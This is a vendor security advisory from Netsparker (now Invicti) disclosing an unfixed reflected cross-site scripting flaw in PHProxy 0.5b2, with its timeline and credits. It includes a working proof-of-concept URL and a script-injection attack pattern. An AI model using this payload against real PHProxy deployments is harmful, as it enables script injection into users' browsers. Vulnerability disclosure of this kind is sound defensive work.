Information
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Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in PHProxy
Affected Software: PHProxy
Affected Versions: 0.5b2
Vendor Homepage: https://sourceforge.net/projects/poxy/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-024

Technical Details
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Proof of Concept URL for XSS vulnerability in PHProxy 0.5b2;

Proof Url /poxy-0.5b2/index.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0005D0)%3C/scRipt%3E
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x0005D0)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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07 Feb 2017 - Issue reported.
12 June 2017 - Advisory released.

Solution
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No solution is available at the time of publishing this advisory.

Credits & Authors
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This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.